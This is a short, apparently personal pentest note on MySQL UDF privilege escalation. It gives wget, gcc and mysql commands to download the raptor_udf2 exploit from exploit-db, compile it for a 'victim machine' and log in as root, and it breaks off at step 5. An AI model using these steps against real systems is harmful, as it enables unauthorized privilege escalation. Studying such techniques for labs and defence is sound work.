Pre-requisites

Creating UDF function in MYSQL

1- Download the exploit to the attaching machine

wget https://www.exploit-db.com/raw/1518

2- Transfer the file to the victim machine through FTP, HTTP, etc.

3- Compile the file

gcc -g -c raptor_udf2.c

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

4- Access MYSQL database with the user root

mysql -u root -p

5- Change to the mysql database